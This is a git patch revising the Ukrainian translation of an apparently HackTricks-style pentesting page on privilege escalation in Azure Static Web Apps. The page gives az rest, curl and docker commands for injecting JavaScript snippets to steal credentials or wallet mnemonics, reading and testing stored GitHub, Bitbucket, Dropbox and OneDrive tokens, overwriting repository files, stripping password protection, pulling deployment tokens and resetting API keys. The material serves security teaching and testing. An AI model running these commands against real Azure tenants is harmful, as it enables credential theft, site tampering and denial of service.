From 37eb19a037981ee6b948a32965ae42908cb33d09 Mon Sep 17 00:00:00 2001 From: Translator Date: Sun, 18 Jan 2026 11:55:20 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala --- .../az-static-web-apps-privesc.md | 64 ++++++++++--------- 1 file changed, 35 insertions(+), 29 deletions(-) diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md index bfd885633..cf7c4b974 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md @@ -4,7 +4,7 @@ ## Azure Static Web Apps -Для отримання додаткової інформації про цю службу перегляньте: +Для отримання додаткової інформації про цей сервіс див.: {{#ref}} ../az-services/az-static-web-apps.md @@ -12,9 +12,9 @@ ### Microsoft.Web/staticSites/snippets/write -Можливо завантажити статичну веб-сторінку з довільним HTML-кодом, створивши фрагмент. Це може дозволити зловмиснику впровадити JS-код у веб-додаток і вкрасти чутливу інформацію, таку як облікові дані або мнемонічні ключі (в гаманцях web3). +Можна змусити static web page завантажувати довільний HTML шляхом створення snippet. Це може дозволити attacker інжектити JS всередину web app і викрасти чутливу інформацію, наприклад credentials або mnemonic keys (в web3 wallets). -Наступна команда створює фрагмент, який завжди буде завантажений веб-додатком:: +The fllowing command create an snippet that will always be loaded by the web app:: ```bash az rest \ --method PUT \ @@ -31,7 +31,7 @@ az rest \ } }' ``` -### Читання налаштованих облікових даних третьої сторони +### Прочитати налаштовані облікові дані сторонніх сервісів Як пояснено в розділі App Service: @@ -39,14 +39,14 @@ az rest \ ../az-privilege-escalation/az-app-services-privesc.md {{#endref}} -Запустивши наступну команду, можна **прочитати облікові дані третьої сторони**, налаштовані в поточному обліковому записі. Зверніть увагу, що якщо, наприклад, деякі облікові дані Github налаштовані в іншому користувачеві, ви не зможете отримати токен з іншого. +Виконавши наступну команду, можна **прочитати облікові дані сторонніх сервісів**, налаштовані в поточному обліковому записі. Зауважте, що, наприклад, якщо деякі Github облікові дані налаштовано для іншого користувача, ви не зможете отримати доступ до token з іншого облікового запису. ```bash az rest --method GET \ --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01" ``` -Ця команда повертає токени для Github, Bitbucket, Dropbox та OneDrive. +Ця команда повертає tokens для Github, Bitbucket, Dropbox і OneDrive. -Ось кілька прикладів команд для перевірки токенів: +Ось кілька прикладів команд для перевірки tokens: ```bash # GitHub – List Repositories curl -H "Authorization: token " \ @@ -69,14 +69,14 @@ curl -H "Authorization: Bearer " \ -H "Accept: application/json" \ https://graph.microsoft.com/v1.0/me/drive/root/children ``` -### Перезаписати файл - Перезаписати маршрути, HTML, JS... +### Перезапис файлу - Перезапис маршрутів, HTML, JS... -Можливо **перезаписати файл всередині репозиторію Github**, що містить додаток через Azure, маючи **токен Github**, надіславши запит, подібний до наступного, який вказуватиме шлях до файлу для перезапису, вміст файлу та повідомлення про коміт. +Можна **перезаписати файл всередині Github repo**, який містить додаток, через Azure, маючи **Github token**, відправивши запит такого вигляду, який вкаже шлях до файлу для перезапису, вміст файлу та повідомлення коміту. -Це може бути зловжито зловмисниками, щоб в основному **змінити вміст веб-додатку** для надання шкідливого вмісту (викрадення облікових даних, мнемонічних ключів...) або просто **перенаправити певні шляхи** на свої власні сервери, перезаписуючи файл `staticwebapp.config.json`. +Цим можуть зловживати нападники, фактично **змінюючи вміст веб-додатку** щоб подавати шкідливий контент (вкрасти облікові дані, мнемонічні ключі...) або просто **перенаправити певні шляхи** на свої сервери, перезаписавши файл `staticwebapp.config.json`. > [!WARNING] -> Зверніть увагу, що якщо зловмисник зможе скомпрометувати репозиторій Github будь-яким чином, він також може безпосередньо перезаписати файл з Github. +> Зверніть увагу, що якщо нападнику вдасться якимось чином скомпрометувати Github repo, він також може безпосередньо перезаписати файл через Github. ```bash curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \ -H "Content-Type: application/json" \ @@ -99,7 +99,7 @@ curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \ ``` ### Microsoft.Web/staticSites/config/write -З цією дозволом можливо **змінити пароль**, що захищає статичний веб-додаток, або навіть зняти захист з кожного середовища, надіславши запит, подібний до наступного: +Маючи цей дозвіл, можна **змінити пароль**, який захищає static web app, або навіть зняти захист з усіх середовищ, відправивши запит, як-от наведеного нижче: ```bash # Change password az rest --method put \ @@ -133,32 +133,38 @@ az rest --method put \ ``` ### Microsoft.Web/staticSites/listSecrets/action -Ця дозволяє отримати **токен розгортання API ключа** для статичного додатку: +Дозвіл дає змогу отримати **API key deployment token** для статичного додатка. + +За допомогою az rest: ```bash az rest --method POST \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//listSecrets?api-version=2023-01-01" ``` -Тоді, щоб **оновити додаток, використовуючи токен**, ви можете виконати наступну команду. Зверніть увагу, що ця команда була отримана, перевіряючи **як працює Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy)**, оскільки це те, що Azure встановив за замовчуванням. Тому зображення та параметри можуть змінитися в майбутньому. +Використання AzCLI: +```bash +az staticwebapp secrets list --name --resource-group +``` +Отже, щоб **оновити додаток, використовуючи токен**, ви можете виконати наступну команду. Зверніть увагу, що ця команда була витягнута, перевіряючи **як працює Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy)**, оскільки це той, який Azure за замовчуванням налаштував для використання. Тому образ і параметри можуть змінитися в майбутньому. > [!TIP] -> Щоб розгорнути додаток, ви можете використовувати інструмент **`swa`** з [https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token](https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token) або дотримуватися наступних простих кроків: +> Для деплою додатка ви можете використовувати інструмент **`swa`** з [https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token](https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token) або виконати такі кроки: -1. Завантажте репозиторій [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (або будь-який інший репозиторій, який ви хочете розгорнути) і виконайте `cd react-basic`. +1. Завантажте репо [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (або будь-який інший репозиторій, який ви хочете розгорнути) та виконайте `cd react-basic`. 2. Змініть код, який ви хочете розгорнути -3. Розгорніть його, виконавши (не забудьте змінити ``): +3. Розгорніть його, запустивши (пам'ятайте змінити ``): ```bash docker run --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN= INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose ``` > [!WARNING] -> Навіть якщо у вас є токен, ви не зможете розгорнути додаток, якщо **Політика авторизації розгортання** встановлена на **Github**. Для використання токена вам знадобиться дозвіл `Microsoft.Web/staticSites/write`, щоб змінити метод розгортання на використання токена API. +> Навіть якщо у вас є token, ви не зможете розгорнути додаток, якщо **Deployment Authorization Policy** встановлено на **Github**. Щоб використовувати token, вам знадобиться дозвіл `Microsoft.Web/staticSites/write`, щоб змінити метод розгортання та використовувати APi token. ### Microsoft.Web/staticSites/write -З цим дозволом можливо **змінити джерело статичного веб-додатку на інший репозиторій Github**, однак, він не буде автоматично наданий, оскільки це потрібно зробити з допомогою Github Action. +З цим дозволом можна **змінити джерело статичного веб-додатка на інший Github repository**, однак воно не буде автоматично налаштоване, оскільки це має виконуватися через Github Action. -Однак, якщо **Політика авторизації розгортання** встановлена на **Github**, можливо **оновити додаток з нового репозиторію джерела!**. +Однак якщо **Deployment Authotization Policy** встановлено на **Github**, буде можливо **оновити додаток з нового репозиторію!**. -У разі, якщо **Політика авторизації розгортання** не встановлена на Github, ви можете змінити її з тим же дозволом `Microsoft.Web/staticSites/write`. +Якщо **Deployment Authorization Policy** не встановлено на Github, ви можете змінити її, використовуючи той самий дозвіл `Microsoft.Web/staticSites/write`. ```bash # Change the source to a different Github repository az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main @@ -181,7 +187,7 @@ az rest --method PATCH \ } }' ``` -Приклад Github Action для розгортання додатку: +Приклад Github Action для розгортання додатка: ```yaml name: Azure Static Web Apps CI/CD @@ -244,16 +250,16 @@ action: "close" ``` ### Microsoft.Web/staticSites/resetapikey/action -З цією дозволом можливо **скинути API-ключ статичного веб-додатку**, потенційно викликавши DoS-атаки на робочі процеси, які автоматично розгортають додаток. +Цей дозвіл дозволяє **reset the API key of the static web app**, потенційно DoSing робочі процеси, які автоматично розгортають додаток. ```bash az rest --method POST \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//resetapikey?api-version=2019-08-01" ``` ### Microsoft.Web/staticSites/createUserInvitation/action -Ця дозволяє **створити запрошення для користувача** для доступу до захищених шляхів всередині статичного веб-додатку з конкретною наданою роллю. +Цей дозвіл дозволяє **створити запрошення для користувача** для доступу до захищених шляхів всередині static web app з певною роллю. -Увійти можна за адресою, такій як `/.auth/login/github` для github або `/.auth/login/aad` для Entra ID, і користувача можна запросити за допомогою наступної команди: +Логін знаходиться за шляхом, наприклад `/.auth/login/github` для github або `/.auth/login/aad` для Entra ID, і користувача можна запросити за допомогою наступної команди: ```bash az staticwebapp users invite \ --authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \ @@ -264,13 +270,13 @@ az staticwebapp users invite \ --user-details username # Github username in this case\ --resource-group Resource_Group_1 # Resource group of the app ``` -### Pull Requests +### Запити на злиття (Pull Requests) -За замовчуванням Pull Requests з гілки в тому ж репозиторії будуть автоматично компільовані та збирані в середовищі стадії. Це може бути зловжито зловмисником з правами запису в репозиторії, але без можливості обійти захист гілок виробничої гілки (зазвичай `main`), щоб **розгорнути шкідливу версію програми** в URL стадії. +За замовчуванням Pull Requests із гілки в тому ж репозиторії автоматично компілюються й збираються у staging середовищі. Це може бути використано зловмисником, який має права запису в репо, але не може обійти захист гілок production (зазвичай `main`), щоб **розгорнути шкідливу версію додатка** за staging URL. -URL стадії має цей формат: `https://-..`, наприклад: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net` +The staging URL has this format: `https://-..` like: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net` > [!TIP] -> Зверніть увагу, що за замовчуванням зовнішні PR не виконуватимуть робочі процеси, якщо вони не об'єднали принаймні 1 PR в репозиторій. Зловмисник може надіслати дійсний PR до репозиторію і **потім надіслати шкідливий PR** до репозиторію, щоб розгорнути шкідливу програму в середовищі стадії. ОДНАК, є несподіваний захист: за замовчуванням Github Action для розгортання в статичному веб-додатку потребує доступу до секрету, що містить токен розгортання (наприклад, `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`), навіть якщо розгортання виконується з IDToken. Це означає, що оскільки зовнішній PR не матиме доступу до цього секрету, а зовнішній PR не може змінити робочий процес, щоб помістити тут довільний токен без прийняття PR, **ця атака насправді не спрацює**. +> Зверніть увагу, що за замовчуванням external PRs не запускатимуть workflows, якщо їхній автор не влив принаймні 1 PR у репозиторій. Зловмисник міг би надіслати валідний PR у репо, а потім **відправити шкідливий PR** в репо, щоб розгорнути шкідливий додаток у staging середовищі. ОДНАК, існує несподіваний захист: дефолтний GitHub Action для деплою у static web app потребує доступу до секрету, що містить deployment token (наприклад `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`), навіть якщо деплой виконується з IDToken. Це означає, що оскільки external PRs не матимуть доступу до цього секрету і external PR не може змінити Workflow, щоб помістити туди довільний токен без прийняття PR, **ця атака насправді не спрацює**. {{#include ../../../banners/hacktricks-training.md}}